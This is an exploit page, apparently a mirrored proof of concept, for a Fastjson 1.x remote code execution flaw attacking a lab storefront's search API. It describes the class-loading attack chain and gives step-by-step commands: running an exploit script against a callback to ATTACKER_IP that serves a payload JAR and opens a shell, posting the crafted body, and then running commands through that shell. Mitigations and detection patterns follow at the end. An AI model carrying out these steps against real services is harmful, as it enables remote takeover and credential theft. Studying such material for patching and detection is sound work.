Exploit for CVE-2026-16723

## https://sploitus.com/exploit?id=A34F82EF-31CD-5717-90A9-1998EAC48A01
# CVE-2026-16723 Fastjson RCE

★ CVE-2026-16723 Fastjson `@JSONType` RCE PoC ★



# Overview
> **CVE-2026-16723** is a **Remote Code Execution (RCE)** vulnerability in **Fastjson 1.x** (1.2.68 – 1.2.83).
> When Fastjson parses attacker-controlled JSON, a crafted `@type` value is turned into a class-resource lookup inside `checkAutoType`. In a Spring Boot executable fat-JAR the class loader resolves that name as a `jar:http://` URL and fetches a remote JAR (SSRF), then loads a class carrying the `@JSONType` annotation even though AutoType is disabled.
> Because a modern JDK / Tomcat rejects the `jar:http://` binary name, the reliable variant seeds the JAR into the JVM cache and re-reads it through `jar:file:/proc/self/fd/N`, so the class is defined and its static initializer runs, giving code execution.
> AutoType stays disabled and no classpath gadget is required.



# Affected Versions
| Category | Version |
|---|---|
| **Vulnerable** | Fastjson **1.2.68 ≤ version ≤ 1.2.83** |
| **Patched** | Migrate to **Fastjson 2.x** (no fixed 1.x release) |



# Impact
- Remote Code Execution as the service account
- Secret / credential disclosure from the host and environment
- Full compromise of the affected application



# Environment
The lab target is a public storefront (`Northwind Store`) whose search API binds
its request body with Fastjson. Everything is Fastjson's stock default:
SafeMode off, AutoType off, packaged as a Spring Boot fat-JAR.

```bash
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
```

| Precondition | State in this lab |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Spring Boot executable fat-JAR | yes |
| Unauthenticated JSON parse path | `POST /api/products/search` |
| SafeMode / AutoType | default (both off) |



# PoC
The attacker and the target run on the same Docker bridge network, so the target
reaches the attacker as an outbound connection (no extra port is published).

## Step 1. Confirm the target is up

```bash
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
```

## Step 2. Run the exploit on the attacker machine

`exploit.py` builds the payload JAR, serves it, starts a listener, and prints
the request body. Only the callback address is required.

```bash
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
```

## Step 3. Deliver the payload

Paste the printed body into the search endpoint (Burp Repeater or `curl`) and
send it. The search request is a normal feature; only its JSON body is crafted.

```bash
curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' --data-binary @body.json
```

## Step 4. Confirm the result

Code runs as the service account. Retrieve the flag through the obtained shell:

```bash
whoami
```



# Mitigation
- Migrate to Fastjson 2.x
- Or run `com.alibaba:fastjson:1.2.83_noneautotype`
- Or start the JVM with `-Dfastjson.parser.safeMode=true`
- Detection: JSON `@type` values containing `jar:http` or `jar:file` / `/proc/self/fd` patterns



# Analysis
- KR:
- EN: